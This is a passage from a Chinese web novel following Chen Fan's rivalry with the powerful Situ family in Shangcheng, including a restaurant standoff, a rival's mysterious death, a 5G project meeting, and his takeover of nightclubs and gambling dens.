只见在街道的拐角处,司徒晴不知何时站在那里。她一脸恐惧和茫然!
看到司徒晴出现,司徒宇的脸色猛地一变!
周叶青的眉头也皱了皱!
司徒晴的目光扫过狼藉的餐厅,扫过地上痛苦呻吟的人,扫过黑压压的、散发着肃杀气息的“暗卫”,最后,落在了我的身上!
四目相对,那一刻,我看到了她眼中的担忧。
“陈大哥?”她喃喃着,声音颤抖的问道:“这到底是怎么回事?哥,你为什么要调动家族的暗卫?”
司徒晴来了,今天的事情,恐怕有转机了!
我握紧的双拳,逐渐松开!
以我对司徒宇的了解,他绝对不会在司徒晴的面前打我,他最重视这个妹妹对他的看法!
“晴儿?你怎么来了?这里没你的事,回去。”司徒宇道。
“我不要回去!”司徒晴倔强地站在原地,目光扫过韩栋,带着明显的厌恶,道:“是不是韩栋他在惹是生非,哥,你不能总由着他胡来!”
韩栋被司徒晴当众指责,脸上有些挂不住,但又不敢对司徒晴发作,只能悻悻地低下头。
司徒宇没有回答司徒晴的问题,而是反问道:“听哥的话,快回家。”
“哥,这位陈大哥!他救过我!你不能对他动手!”
司徒晴走到我的面前,张开双手,挡住了我。
“救过你?”司徒宇眉梢一挑,显然有些意外。
“是的!”司徒晴用力点头,道:“他在飞机上救过我!陈大哥是我的恩人!你们不能这样对他!”
她的话语带着真情实感,那双清澈的眼睛里充满了维护之意。
司徒宇听完,沉默了。
“宇哥!就算他救过晴儿小姐,那也不能成为他随便打人的理由啊!你看他把我和我的兄弟打成什么样了?!”韩栋在一旁煽风点火道。
司徒晴立刻反驳道:“韩栋!你少恶人先告状!肯定又是你先骚扰别人!你之前还总骚扰我呢!”
韩栋被司徒晴当面揭短,脸色瞬间涨成了猪肝色,支支吾吾说不出话来。
司徒宇的脸色也沉了下来,他可以不理会韩栋和我之间的冲突,但牵扯到司徒晴,性质就完全不同了。
司徒晴是司徒家的掌上明珠,更是司徒宇的逆鳞,韩栋骚扰司徒晴,这本就是犯忌讳的事情。
司徒宇看了看一脸倔强维护我的司徒晴,又看了看脸色难看的韩栋,最后,目光再次落回我身上,那眼神深邃难测。
“陈凡。”司徒宇缓缓开口,道:“看在晴儿的面子上,今天的事,可以到此为止。”
韩栋闻言,猛地抬头,似乎想说什么,但在司徒宇淡漠的眼神下,最终还是把话咽了回去,只是看向我的眼神更加怨毒。
司徒晴闻言,脸上顿时露出欣喜的笑容:“谢谢哥!”
然而,司徒宇接下来的话,却让她的笑容僵在了脸上。
“但是!”司徒宇话锋一转,目光锐利地盯住我,语气带着一种冰冷的警告,道:“我有一个条件。”
“你说。”我平静地看着他。
司徒宇一字一顿,清晰地说道:“从今往后,不许再接近晴儿,断绝和她的一切联系。”
司徒晴脸上的血色瞬间褪去,她难以置信地看着司徒宇:“哥!你……你怎么能这样?!他是我的朋友!”
“朋友?”司徒宇嗤笑一声,眼神带着一丝嘲讽,道:“晴儿,你还小,不懂,他救了你,我们司徒家自然会用其他方式感谢他,但接近你,不行。”
他的语气斩钉截铁,没有丝毫转圜的余地,这是在明确地划清界限,也是在警告我,不要试图通过司徒晴来攀附司徒家。
“哥!我不要!”司徒晴急了,眼泪在眼眶里打转,“陈大哥他不是坏人!他帮了我很多!你不能……”
“够了,晴儿。”司徒宇打断她,道:“这件事,没有商量,要么他答应,我带着人离开,要么,今天这事,就让暗卫处理,你自己选。”
他将选择权,以一种残酷的方式,抛给了司徒晴。
司徒晴愣住了,她看看面色冰冷坚决的司徒宇,最后,眼泪终于忍不住滚落下来。
她知道,司徒宇说到做到,如果她不妥协,今天我和韩栋之间,必然有一方要付出极其惨重的代价,而无论结果如何,都不是她想看到的
在所有人的注视下,司徒晴用力擦了擦眼泪,仿佛用尽了全身的力气,抬起头,看向司徒宇,声音带着哽咽,道:“好……我答应你……我以后……不再找陈大哥了……”
说完这句话,她仿佛被抽空了所有力气,低下头,肩膀微微耸动,无声地哭泣起来。
这一刻,她为了保全我,答应了司徒宇的要求。
司徒宇目光再一次转向我,问道:“陈凡,你呢?”
我低着头,看着哭泣的司徒晴,我心里有些不忍,没想到,这个女孩,还真的为我着想。
“可以。”我吐出两个字,声音依旧平静。
“很好。”司徒宇脸上重新露出了笑容,对着我说道:“带着你的人,走吧。”
104司徒兄妹的裂痕!
呵!
我冷冷一笑的看着司徒宇,道:“该走的人是你吧,你打扰我们吃饭了!”
司徒宇冷笑一声,他没有在说什么,对着韩栋说道:“带着你的人,滚,别再这里丢人现眼!”
韩栋张了张嘴,脸上写满了不甘和憋屈,但在司徒宇那淡漠的目光下,他所有的话都卡在了喉咙里。
韩栋狠狠地瞪了我一眼,然后对着地上被我打趴下的手下吼道:“没死就都给老子爬起来!走!”
那群打手赶紧从地上爬起来,然后互相搀扶着,滚出了餐厅。
“晴儿,我们走吧。”
司徒宇温柔的拉着司徒晴的手,然后带着人离开了餐厅,司徒晴走到门口的时候,还不忘回头看了我一眼。
司徒宇走了,他带来的暗卫也都跟着走了,大街上又恢复了安静。
张远松了口气,快步走到我身边,低声道:“老陈,你没受伤吧?你这下算是把韩家得罪死了,也入了你以后在上城,得多加小心。”
“谢谢,张少!”
我没想到张远这小子还挺讲究的,在知道我和韩栋闹矛盾,他能第一时间赶过来替我站台,所以我向他道谢。
“谢什么,也没帮上你什么忙,怪就怪司徒家实力太大了!”张远叹了一口气。
我明白他话里的意思,他惹不起司徒家。
“我想到你能打,但没想到你能一个打几十个!”
白起笑呵呵的走了过来,现在的他,已经没有了刚才爆炸的气势,和普通的男人没什么两样。
我知道,这才是顶级高手,藏锋!
“白大哥,你就别笑话我了,你才是顶尖高手!”
“哈哈,老弟好眼力!”白起笑呵呵道。
“走吧。”
周叶青淡淡的说了一句话,然后就带着白起离开了。
“我们走吧。”我对着林薇儿轻声道。
她紧紧抓着我的手臂,用力点了点头。
坐进车里,隔绝了外界的目光,林薇儿才仿佛卸下了所有防备,身体微微颤抖起来,将头靠在我的肩膀上,声音带着哽咽:“对不起,陈凡……我又给你惹麻烦了……”
我轻轻拍了拍她的背,道:“不关你的事,是麻烦自己找上门。”
“那个司徒宇……我好像听圈里人提起过,很厉害,也很可怕,陈凡,你为了我,招惹了韩家,现在又被司徒宇盯上……”她的语气充满了担忧和后怕。
“兵来将挡。”我简短地回答道。
司徒宇的出现,像一盆冷水,浇醒了我,上城的水,比我想象的还要深,司徒家仅仅露出冰山一角,其能量就足以让韩栋那样的纨绔噤若寒蝉。
司徒晴……司徒鸣……司徒宇……
这个家族内部,似乎也并非铁板一块。
我需要知道更多,不仅仅是商业上的动向,更是他们隐藏在阴影中的力量,比如……暗卫。这种传承悠久的大家族,必然圈养着不为外人所知的力量,用于处理一些见不得光的事情。
我带着林薇儿回到了豪华公寓,我安抚着她去睡觉,今晚,我实在没有心情碰她。
站在巨大的落地窗前,俯瞰着沉睡中的上城,我的眼神冰冷而锐利。
司徒家……暗卫……
我必须知道,这张隐藏在幕后的网,到底有多大,多密。
我拿出加密手机,拨通了柳媚笙的号码。
“是我。”电话接通,我直接说道,“动用你所有的资源,不计代价,查司徒家,重点不是明面上的生意,我要知道他们家族内部的核心成员关系,尤其是‘暗卫’的数量规模!”
电话那头的柳媚笙沉默了几秒,随即说道:“陈凡,你这么快就惹上他们了?他们家的事,是最高级别的禁忌,水太深了,一个不小心……”
“我知道风险。”我打断她,道:“正因为我惹上了,才必须知道底线在哪里,去查,需要多少钱,什么资源,直接告诉我!”
柳媚笙听出了我语气中的决绝,知道无法劝阻,只能答应道:“好!我尽力!但你一定要万事小心!司徒家……和我们之前遇到的对手,完全不是一个量级!”
“我知道!你放心!”
……
与此同时,司徒家那座深宅大院内。
司徒晴气鼓鼓地冲进客厅,将手中的包重重摔在沙发上,显然她对今天发生的事情,很生气!
司徒宇正慵懒地靠在另一张沙发上,品着一杯红酒,看着气冲冲的妹妹,笑着说:“怎么?我的好妹妹,还在生气?”
司徒晴走到他面前,质问道:“你今天是不是故意去威胁陈凡的!是不是!”
“上城那么多公子哥,惹了多少麻烦事,你都不出面,今天你就出面了?”
“陈凡?我威胁他?”司徒宇挑了挑眉,道:“我只是不想让韩栋那条疯狗在外面太丢我们圈子的脸,顺手清理一下垃圾而已。”
“他不是垃圾!”司徒晴激动地反驳,道:“他是个好人!他帮过我!”
“帮你?”司徒宇放下酒杯,不悦道:“晴儿,我提醒过你多少次?不要轻易相信外面的人,尤其是那些莫名其妙接近你的男人!那个陈凡,底细不明,身手狠辣,刚来上城就敢对韩栋动手,这种亡命徒,你离他远点!”
“他不是亡命徒!”司徒晴眼圈红了,倔强地瞪着司徒宇,道:“你根本不了解他!你总是这样!用你们那套阴暗的逻辑去揣测所有人!把我当小孩子一样关在家里!我连交朋友的自由都没有吗?!”
“自由?”司徒宇站起身,逼近司徒晴道:“晴儿,你生在司徒家,就注定没有普通人所谓的‘自由’!你的天真和善良,在外面那些人眼里,就是最好利用的弱点!那个陈凡接近你,无非是看中了我们司徒家的权势!你醒醒吧!”
“你胡说!”司徒晴的眼泪终于掉了下来,道:“你总是把别人想得那么坏!陈凡他不是那样的人!我讨厌你!我讨厌这个家!”
她哭着跑上了楼,重重的关门声在空旷的客厅里回荡。
司徒宇看着妹妹消失的方向,脸色阴沉得可怕。
他拿起手机,拨通了一个号码,声音冰冷道:“给我盯紧陈凡,我要知道他在上城的一举一动,接触过的每一个人,另外,查清他的所有底细,从出生到现在,一点都不能漏!”
“还有……”他顿了顿,眼中闪过一丝杀机,“如果他再敢接近晴儿……你知道该怎么做。”
电话那头传来一个毫无感情的回应:“明白,宇少。”
司徒宇挂断电话,走到窗边,看着窗外漆黑的夜色,眼神幽深。
“陈凡,不管你是谁,有什么目的,敢打我妹妹的主意,就要有付出代价!”
105司徒晴来电!云城变天!
“来我公司。”
我的加密手机忽然收到了周叶青的消息,我知道,她针对今天的事情,一定是有话要和我说的。
“好。”
我马上穿好衣服,然后开着车,就去往周叶青的公司。
我来上城这些天,我只听说过周叶青的地位和实力,但我从来没有去过她的公司。
当我的车停在她公司的门口,我抬起头,整个人都震惊了。
因为矗立在我面前的,是一栋几十层高的大厦!
上面赫然写着:周氏集团四个大字!
在上城这寸土寸金的地方,竟然能拥有一栋大厦!
周叶青的财力可见一斑!
我刚走进门,就看到了白起,他笑着对我说:“陈老弟,周总在上面等你。”
“多谢,白大哥!”
我笑着打了声招呼,就坐着直梯和白起一起去找周叶青。
来到周叶青的办公室,她已经坐在椅子上等我了。
“司徒宇出面,这是我没想到的。”周叶青道。
我知道她说的是今天的事情,于是问道:“他是奔我来的,至于是什么目的,可能就是想让我滚出上城。”
“司徒宇此人,看似玩世不恭,实则心思缜密,他一般不会轻易出面,今天你逼的他现身,看来司徒晴对你是动心了。”
“呵呵,还真是个变态哥哥……”我冷笑道。
“司徒宇控制欲,在上城人尽皆知。”周叶青道:“我今天已经当面承认你是我的人,以后我们做事,也不必再藏着掖着。”
“接下来怎么做?”我问道。
“司徒宇既然下了场,就不会只看这么一眼,韩家那边,我会敲打一下,让他们暂时收敛,你现在要做的,是消化今天的名气,把这种‘凶名’转化为实实在在的威慑力和吸引力!”
周叶青看了看我,道:“上城就是这么个势力的地方,你只要出了名,就会有人来巴结你!另外,司徒宇最近在接触5G项目,我觉得,你也可以来做这个。”
我知道,周叶青这是在给我下任务了。
我这把刀,也该派上用场了。
“好啊!没问题。”我笑了笑。
“另外,城西那边所有的场子,都交给陈凡来打理。”周叶青对着白起说道。
“好啊,那可有热闹看了。”白起笑呵呵道。
在这个笑容里,我察觉到了一丝的不对劲,甚至,我嗅到了一丝的挑战。
“白起,你挑个时间,带着陈凡去城西看看,让他熟悉熟悉业务。”周叶青看了看我,继续道:“城西那边,可有不少是司徒宇的产业,你怕么?”
“有什么可怕的!”我从容不迫道:“人都得罪了,就不必畏首畏尾了。”
“还有……”我突然顿了顿,道:“我想知道,司徒宇家的暗卫究竟有多少。”
周叶青眼神一亮,道:“白起,将所有的暗卫的资料,调查好,给陈凡。”
“是,周总!”
“过两天,我会带你见一个人,跟5G项目有关的。”周叶青提醒我。
“好。”
从周叶青公司出来,我深吸了一口气,果然,上城的争斗要开始了!
接下来,我从张远的口中得知,我在上城的富二代圈子里,出了名,他们都对我这个从海城来的人,充满了好奇,不少富少还拖张远的关系,认识我一下。
但,都被我给拒绝了。
这些富少,不过就是好奇,我没工夫伺候他们!
接下来的几天,司徒晴没有在找我,估计应该是被司徒宇管着,不过,就在下午,我忽然接到了一个陌生来电。
我按下接听,里面竟然传来了司徒晴的声音。
“陈大哥!太好了,你接电话了,这是我的小号!以后我就用这个电话联系你好了!”
司徒晴在电话里很喜悦,但是声音明显小了很多,应该是压低声音和我在说话。
“好,你最近还好么?”我问道。
“嗯!都很好,除了我哥管着我,不让我出门,剩下的都不错,我最近正在弄画廊的计划书和预算呢,有点头大……”司徒晴忽然问道:“陈大哥,你……你最近还好吗?我哥没有找你麻烦把?”
果然,这个话题终究来了!
她毫不掩饰的问我,我也不必遮掩!
“没有。”我说道。
“那就好,如果韩栋找你麻烦,你就告诉我,我替你解决!”司徒晴道。
“好!”我说道。
“你的计划书做的怎么样了?需不需要靠谱的财务顾问,我可以介绍给你认识。”我说道。
“真的可以吗?那太好了!”司徒晴立刻开心起来,道:“陈大哥,你总是能帮我解决难题!不像我哥,只会束缚我!”
“好啊。”我接着说道:“那时间地点你来定!”
“好,不过陈大哥,为了你的安全,我暂时还不能和你见面,我只能单独见财务顾问!”
“我知道,放心把。”
“嗯!那就这样说定了!”
放下电话,我知道我与司徒晴的关系,正在按照计划稳步推进,她单纯的信任和依赖,是我穿透司徒家最有效的利器。
我的手机再一次响了起来,我看了一眼,是柳媚笙的电话。
“陈凡,出大事了!赵刚……死了!”
我瞳孔骤然收缩,急忙问道:“怎么回事?”
“现在具体情况还不知道,我这边也是刚收到的消息!赵家现在已经乱成一锅粥了!”柳媚笙声音急促道。
赵刚死了?!
在这个最为敏感的时候,在他刚刚见完司徒鸣后,他云城最大的大佬,竟然死了?!
我简直不敢置信!
“是不是司徒家或者秦昊?”我问道。
不知道为何,我大脑第一个反应就是他们俩。
“我这边什么消息都没有得到。”柳媚笙语气急促,道:“但赵刚一死,赵家就垮了一半!剩下的旁支为了争权夺利,已经乱成一团!更重要的是,赵家倒下空出来的巨大利益蛋糕,现在成了所有人眼红的目标!秦昊那边动作频频,似乎想趁机吞下最大的一块!”
秦昊!又是他!
海城补刀赵坤,杭城袭击夏颜,现在赵刚离奇死亡……这一连串的事件背后,似乎都若隐若现地晃动着他的影子!他的野心和手段,比我想象的还要狠辣和庞大!
“最好是调查出来真正的凶手是谁!”
“好,我在让人去调查!”柳媚笙道。
我挂上电话,心里有些惊讶,甚至有些担忧。
因为我知道,下一个目标,很有可能就是我。
我拿起手机,拨通了周叶青的电话,平静道:“周总,云城变天了,赵刚死了,我怀疑是秦昊或者司徒家干的!”
电话那头,陷入了长久的沉默……
106周叶青邀我喝茶!
“消息准确么?”周叶青问道。
“嗯。”我接着说道:“只不过凶手,还缺少证据!”
“好,我会让手下的人去调查,有了结果,我会第一时间告诉你!”
周叶青果断的挂上了电话,我坐在沙发上,开始抽烟,一根接着一根。
我现在已经感受到了危机感,因为我也担心,下一个,秦昊或者司徒鸣,会不会对我动手。
烟灰缸里的烟头,一根接着一根。
终于,我等到了周叶青的电话。
“查到了,昨晚赵刚在自家别墅的书房里,突发心脏病,没了。”
我的手指瞬间收紧,捏紧了手机外壳,指节微微泛白,心脏在沉重的跳动!一股恐惧爬上了心头!
赵刚,云城赵家的掌舵人,一个在商海沉浮数十年、身体硬朗得像头老牛的人物,会突然因为心脏病去世?还是在见了秦昊没多久后!
这世上,哪有这么巧合的事情!
“消息可靠?”我的声音听起来异常冷静,只有我自己知道,那平静之下翻涌着怎样的惊涛骇浪。
“千真万确。”周叶青语气肯定道:“赵家已经对外发布了讣告,但内部封锁得很严,具体细节查不到,不过,有风声说,赵刚死前见的最后一个人,是司徒鸣的心腹助理。”
司徒鸣!
这个名字像一道冰冷的闪电,劈开了我脑海中所有的迷雾。
果然是他!
除了他,还有谁有这般能量和狠辣,能如此干净利落地让赵刚自然死亡?
赵刚刚刚和我一起在杭城对付了秦昊,赵坤还没有完全接受秦昊的产业,赵刚就死了!
杀鸡儆猴!
赵家,就是司徒鸣选中的那只鸡,而我很可能就是那只猴!
“我知道了。”我深吸一口气,压下心头的震动。
“你最近也要小心!”周叶青说道。
“好!”我答应着。
我马上拨通了周大伟的电话,道:“大伟,你现在马上加派人手,去保护柳媚笙!”
“是!”
我马上又打电话给柳媚笙,把这个消息告诉了她,她在那边也是久久沉默,我叮嘱了柳媚笙,让她一定要注意安全。
她也都答应了下来。
挂断电话,我独自站在巨大的落地窗前。
窗外,天色阴沉,乌云低垂,仿佛一场暴风雨即将来临!
赵刚的死,让我彻底认清了一个事实——我与司徒鸣之间,演变成一场你死我活的战争,任何仁慈和犹豫,都可能带来灭顶之灾!
他可以用这种手段对付赵刚,同样也可以用在我,或者我身边任何一个人的身上。
一种前所未有的紧迫感和危机感向我袭来!
我拿起手机,翻到司徒晴的号码,指尖在拨号键上停留了很久,最终还是缓缓移开。
司徒晴我要利用,但是现在还不行,我必须要找准时机,先得到司徒晴的人,然后利用她来挑拨司徒宇的关系。
下午,周叶青的电话打来。
“今晚5G项目有个碰头会,我带你去。”周叶青言简意赅道。
“好!”
“这个项目的负责人,叫王浩,跟你差不多大,你们应该能聊得来!”周叶青在电话里简单的介绍了一下。
“好!”我答应着。
“地点我稍后发你,陈总,希望我们合作愉快,能拿下这个项目!”
“马到成功!”
放下电话,我坐回椅子,指尖无意识地敲击着桌面。
我知道这个项目司徒宇也在跟进,要从他的虎口夺食,岂是容易的事情?
但现在我没有别的选择了,想要瓦解司徒家,就得先抢他的生意!
晚上七点,我准时抵达周叶青发来的地点,一家位于运河畔的私人茶舍,环境清幽,隐秘性极好。
在服务生的引领下,我走进一个名为“听雨轩”的包间吗,周叶青已经到了,她今天穿着一身藏青色的女士西装,短发利落,妆容精致,正坐在主位泡茶,动作娴熟优雅,自有一股英气与贵气。
而坐在她旁边的,是一个看起来三十岁左右的年轻男子,他穿着合身的浅灰色行政夹克,戴着金丝边眼镜,面容斯文白净,眼神平静温和,嘴角似乎总是带着一丝若有若无的笑意,给人一种如沐春风的错觉。
但我知道,这只是表象。
“陈总来了,快请坐。”周叶青看到我,笑着招呼,然后介绍道,“这位就是5G项目的负责人,王浩主任,王主任,这位就是我跟你提过的,‘凡颜资本’的陈凡,陈总。”
王浩抬起头,推了推鼻梁上的眼镜,他站起身,主动伸出手,道:“陈总,久仰大名,吞并冯氏,整合资源,陈总的手段和魄力,令人佩服。”
他的手温暖干燥,握手的力度恰到好处。
我与他握手,脸上同样挂着笑容道:“王主任过奖了,都是运气,比不上王主任年轻有为,执掌一方未来产业,才是真正的大格局。”
我们互相商业吹捧着,落座,周叶青为我们斟茶,茶香袅袅。
“陈总,周总跟我大致介绍了你们关于5G智慧示范区的构想,很有前瞻性,也符合我们未来发展的方向。”王浩开门见山,语气平和道:“不过,这个项目牵扯面广,技术要求高,投资巨大,对合作方的综合实力和背景要求,都非常严格。”
他顿了顿,端起茶杯,轻轻吹了吹气,道:“不知道陈总对可能面临的挑战和风险,有没有充分的预估和准备?”
他的话看似在谈项目,实则句句都带着试探和审视。
他在评估我的实力,更在评估我的“背景”,以及我是否够资格,参与到这个由他主导的棋局中来。
“风险与机遇向来并存,‘凡颜资本’既然敢提出这个构想,自然做好了充分的准备,我们在资金、技术整合和本地资源协调方面,都有独特的优势,当然,最重要的是,我们看好5G的未来,也相信在王主任的领导下,这个项目一定能成功落地,成为行业的标杆。”
我没有提周家,也没有提任何背后的势力,只是强调自身的实力和对项目的信心,在这种级别的对手面前,过度依赖外力,反而会显得底气不足。
王浩静静地听着,手指轻轻摩挲着温热的茶杯边缘,看不出喜怒。
包间里一时间陷入了短暂的沉默,只有茶壶沸腾的微弱声响和周叶青斟茶的水流声。
我知道,王浩是在考量。
他知道我的背后是周叶青,他真正考量的是周家和司徒家……
107掌握周家秘卫!
王浩端着茶杯,看着我,笑着说道:“陈总的信心令我欣赏佩服,不过,5G智慧城市这个项目,关乎上城未来几年的数字基建根基,不容有失,这件事,还是谨慎的好。”
王浩的意思,我听懂了,他现在还不想过早的下定论,他想在拖一拖。
“周总,周老身体一向可好?家父前两日还提起,说许久未与周老手谈一局了。”王浩忽然话锋一转问道。
周叶青面带笑容,微微笑道:“劳王伯伯挂念,爷爷身体硬朗,最近迷上了养兰,倒是清静不少。至于下棋……”
周叶青抬眼,目光清亮地看向王浩道:“爷爷常说,棋局如战场,有时看似闲棋冷子,关键时刻,也能定鼎乾坤。”
王浩推了推眼镜,笑着说道:“周老境界高远,是我等着相了。”
王浩忽然对我说道:“示范区的首期建设,涉及老城区的信号覆盖和物联网节点部署,拆迁和协调工作是重中之重,陈总在基建方面资源深厚,这方面,还要多倚仗了。”
他抛出了一个具体且棘手的任务,既是考验,也是将最麻烦的包袱甩了过来。
“分内之事。”我应承下来,没有半分犹豫。
像这种搞城市基建的项目,对于“凡颜资本”来说,不是难事,海城的度假村项目也已经收尾,我直接将施工队弄到上城就行。
“好,陈总果然是爽快人!”王浩忽然站起身,道:“既然都聊的差不多了,那就合作上见,我还有点别的事,先告辞了。”
王浩快人快语,我起身与他握手,然后送他出了饭店。
等我回来后,周叶青依旧在泡茶。
“这个王浩,你感觉如何?”她没有抬头,轻声问道。
“滴水不漏,深不见底。”我走到她身边,如实评价。
“王浩在考虑把5G的项目给谁做,不过到最后,他很有可能玩老好人把戏,就是让你和司徒宇争夺,他在你们胜者里选一个。”
“有可能。”我点了点头道。
“所以,我们要在司徒宇完全掌握这个项目之前,打开缺口。”
“缺口在哪里?”我问。
“司徒晴……”周叶青抬起头看了看我道:“司徒宇对这个妹妹,却极为爱护,而司徒晴似乎对你,有些不一样。”
我心中一动,立刻明白了周叶青的意图,问道:“你想让我利用司徒晴?”
“不是利用,是制造裂痕。”周叶青纠正道:“语“不需要你真的对她做什么,只需要让司徒宇认为,你和他妹妹走得太近,这就足够了,一个因妹妹而方寸大乱的司徒宇,会比一个冷静的司徒宇,容易对付得多。”
我沉默着点了点头。
“不忍心?”周叶青问我。
“没有不忍心的,赵刚死了,司徒鸣很有可能下一个就对我动手,我只是想自保而已!”
“很好,我果然没有看错你!你虽然女人不少,可你并不是儿女情长的人!”
周叶青对我的回答给与了肯定,她接着说道:“项目上的事,我会尽量为你争取空间,但主要压力还在你这边,司徒宇肯定会给你设置重重障碍,你要有心理准备。”
周叶青从衣服兜里,拿出了一个金色的U盘递给了我,道:“这个给你。”
“这是什么?资料?”我接下来后问道。
“这里是周家对抗暗卫的人,我觉得你现在很需要他们。”
我恍然大悟,原来这个U盘里是周家的隐藏力量。
这就是世家的争斗么?果然够狠!
“谢谢。”我将U盘小心收好。
“不必谢我,我们是合作。”周叶青看着我,道:“陈凡,希望你不会让我和周家失望,司徒家这棵大树,盘根错节,想要撼动它,需要耐心,更需要雷霆手段。”
离开茶舍,坐进车里,我看着手中那个小小的U盘,感觉它重若千钧。
夜色中,我驱车返回,我打开电脑,插入U盘,顿时,电脑屏幕里,闪现出来各种红红点点,这应该就是周家的秘卫。
按照U盘里的提示,我发出了一个特定的信号。
不过十分钟,三个穿着普通、气息却如同磐石般沉稳的男人,如同鬼魅般出现在我家门口。
他们眼神锐利,动作协调,身上带着一股经历过真正战火洗礼的肃杀之气。
“陈先生。”为首一人微微颔首,声音低沉沙哑道:“奉周小姐之命,听候调遣。”
我知道,司徒家有暗卫,那周家就有自己的安保力量,秘卫!
“从现在起,我需要你们二十四小时,暗中保护柳媚笙、夏颜,以及……林薇儿。”我下达了第一个指令,在彻底与司徒家撕破脸之前,我必须先确保身边人的安全。
“明白!”三人齐声应道,没有多余废话,然后迅速离开!
安排好这一切,我才长舒了一口气,不过,我的神经更加紧绷了,因为我面对的是司徒家!
我刚躺在床上,准备休息,手机就开始响个不停。
我拿起手机一看,竟然是秦悦打来的电话,这么晚了,她肯定是有事情来找我。
我接起电话,秦悦焦急的声音传过来。
“陈凡,赵刚死了。”她的声音里,有隐隐的恐惧和担忧。
“我已经听说这个消息了,差不多是司徒家族动的手。”
我从烟盒里抽出了一根烟,然后点燃,深深的吸了一口烟,顿时感觉疲惫减少。
“司徒鸣,他的动作够快的!”
“有仇必报,这符合司徒鸣的风格!”我淡淡的说道。
“只是,我想不通,为什么他迫不及待的杀了赵刚?”秦悦道。
“人为财死鸟为食亡,这里面肯定有事情,只不过我们不清楚而已。”我顿了顿,接着道:“秦昊那边你要盯紧了,我怀疑赵刚的死和他脱不了干系!”
“嗯。”
“对了,上次在楼外楼,秦昊给赵坤的公司,给了吗?”
“好像没有……”秦悦恍然大悟道:“你是说是因为这件事,赵刚死了?”
“有可能,赵坤的消息,你有么?”我问道。
“还没有,赵刚死后,赵坤就消失了……”秦悦担忧道:“陈凡,你在上城一定要小心,我担心司徒鸣会对你下手。”
“嗯,知道了……”
108接手周叶青的产业!
翌日。
我收到了周叶青的电话。
“陈凡,城西的周家产业,你要去接手,稍后,我让白起带你过去看看。”
“好的周总。”
我没想到周叶青动作这么快,她说让我接管城西的周家产业,没想到今天就安排上了。
“资料,我现在传送给你,你熟悉一下。”
“好!”
挂上电话,我打开了电脑,果然,我收到了周叶青发来的资料。
周叶青让我接管的产业,包括三家高端夜总会、五家连锁酒吧、两家赌场以及若干配套的物流仓储和娱乐公司,全部委托给“凡颜资本”旗下的一个空壳公司进行管理,期限五年,管理费惊人,且给予了我在规则内几乎完全的自主决策权。
我微微一愣,我原本以为周叶青会给我一个公司,现在她是将城西的企业都交给我管理了,这份厚礼,对我来说是沉甸甸的。
这就意味着,我必须要付出相应的回报,除了与她共进退,我别无选择!
而且,让我惊讶的是,这些产业,原本都是由周家内部的元老们在打理,周叶青这个举动,无非就是在他们口中夺食,她这是在借刀杀人!
“真是一石二鸟啊!”我不由的在心里感叹。
“哥哥,你在忙什么呢?”林薇儿走了过来,她从后面搂住了我的脖子,整个人挂在我身上。
“一会儿我要出去一趟,你现在家里玩,等我回来,在好好陪你!”
“好!”
林薇儿在我的脸上吧嗒亲了一口,然后她将我送出房门,就乖乖回去睡觉了。
我来到门口,白起已经在车上等着我了,我坐上了副驾驶,然后递给他一根烟。
他接了过去,点燃:“陈老弟,周总让我来,带你去熟悉一下城西的场子。”
“那就有劳白哥了!”
白起,这个犹如杀神一般的名字,他应该是周家培养的顶尖杀手,只是坐在他的身边,
“白哥,周总对城西的现状不满意?”我打破沉默,试探着问道。
白起目光依旧看着前方,声音平稳:“周小姐只让我带路,并确保您的安全。其他的,我不清楚,也不过问。”
滴水不漏,果然是周叶青信赖的心腹。
车子驶入城西,这里的繁华与CBD区域的现代感截然不同,更带着一种老旧的市井气息。
我们首先来到了一家名为“金鼎”的夜总会,这是城西最大、也是最赚钱的场子之一,门前停满了豪车,即便是在下午,也已经有不少工作人员在忙碌准备晚间的营业。
白起带着我直接走了进去,门口的保安显然认识白起,他立刻收敛了散漫的态度,恭敬地躬身道:“白哥!”
白起只是点了点头,径直走向内部,他指着一个梳着油头,身材微胖的中年男人,对我说:“这个人叫肥膘,是这里的经理。”
“哎呦!白哥!什么风把您给吹来了?这位是……”肥膘一脸谄媚的看着白起,问道。
“这位是陈凡,陈总,从今天起,城西所有的产业,由陈总全权负责管理。”
白起的声音依旧没有任何波澜,像是在宣读一份通知。
肥膘脸上的笑容僵硬了一瞬,眼神深处闪过一丝阴霾,但很快又变得热情洋溢,伸出胖乎乎的手对我说道:“原来是陈总!失敬失敬!早就听说陈总年轻有为,今日一见,果然名不虚传!以后还要陈总多多关照!”
他的手劲不小,带着试探的意味。
我微微一笑,手上同样发力,不轻不重地与他握了握,道:“肥膘经理客气了,以后还要倚仗各位老人多多支持工作。”
肥膘感觉手上传来的力道,眼神微变,他马上松开了手,故作笑容道:“应该的,应该的!陈总,白哥,里面请,我让人泡壶好茶,顺便把最近的账目拿来给陈总过目?”
“账目不急。”我摆了摆手,目光扫过装修奢华却隐隐透着俗气的大厅,道:“先随便看看,熟悉一下环境。”
“好,那我就带陈总参观一下。”
肥膘跟在我的身旁,他一路上介绍的都是夜总会好的一面,对于潜在问题,他是一句没说。
在我参观的过程中,我能感受到个别工作人员对我的敌视,看来他们没有把我放在眼里,甚至还有几个看场子的人,对我投来挑衅的眼神。
这点我到不在意,毕竟我是个外来人,不受欢迎很正常,在他们眼里,我就是来抢夺他们饭碗的人!
“肥膘哥,这里的人好像不欢迎我啊?”我笑着问道。
“陈总,哪能啊,他们就是上夜班累着了,等你晚上来,肯定是欢迎你的!”肥膘一副皮笑肉不笑的样子说道。
“那最好了。”我微微一笑道。
看完金鼎,白起又带我赶往下一个场子,他始终站在我的身后,不干涉,也不为我撑场,就是冷眼旁观。
接着,我们又去了另外几家酒吧和夜店,情况大同小异,负责人们表面客气,实则阳奉阴违,手下的人更是直接无视我的存在,该干什么干什么,仿佛我只是一个来参观的无关人员。
最后,白起带我来到了一家位于偏僻仓库区的地下赌场,这里是城西真正的利润核心,也是水最深的地方。
赌场的负责人是一个干瘦的老头,穿着中式褂子,手里盘着两个油光锃亮的核桃,大家都叫他九叔。
“陈老弟,那个手里盘着核桃的老头,就是赌场的负责人,九叔。”白起率先为我介绍道。
九叔看见我和白起,他只是抬了抬眼皮,连站都没站起来。
“九叔,这位是陈凡陈总,周总指定的新任管理人。”白起介绍道。
九叔慢悠悠地盘着核桃,浑浊的老眼在我身上扫了扫,慢悠悠道:“知道了,场子有场子的规矩,一切照旧就好,陈先生要是想玩两手,我让人给您拿筹码。”
九叔完全是一副敷衍了事倚老卖老的态度,他身边的几个手下,更是眼神不善的盯着我。
我知道,这些人不是善类,现在这是有白起坐镇,如果白起不在,他们应该会对我动手,把我赶出去。
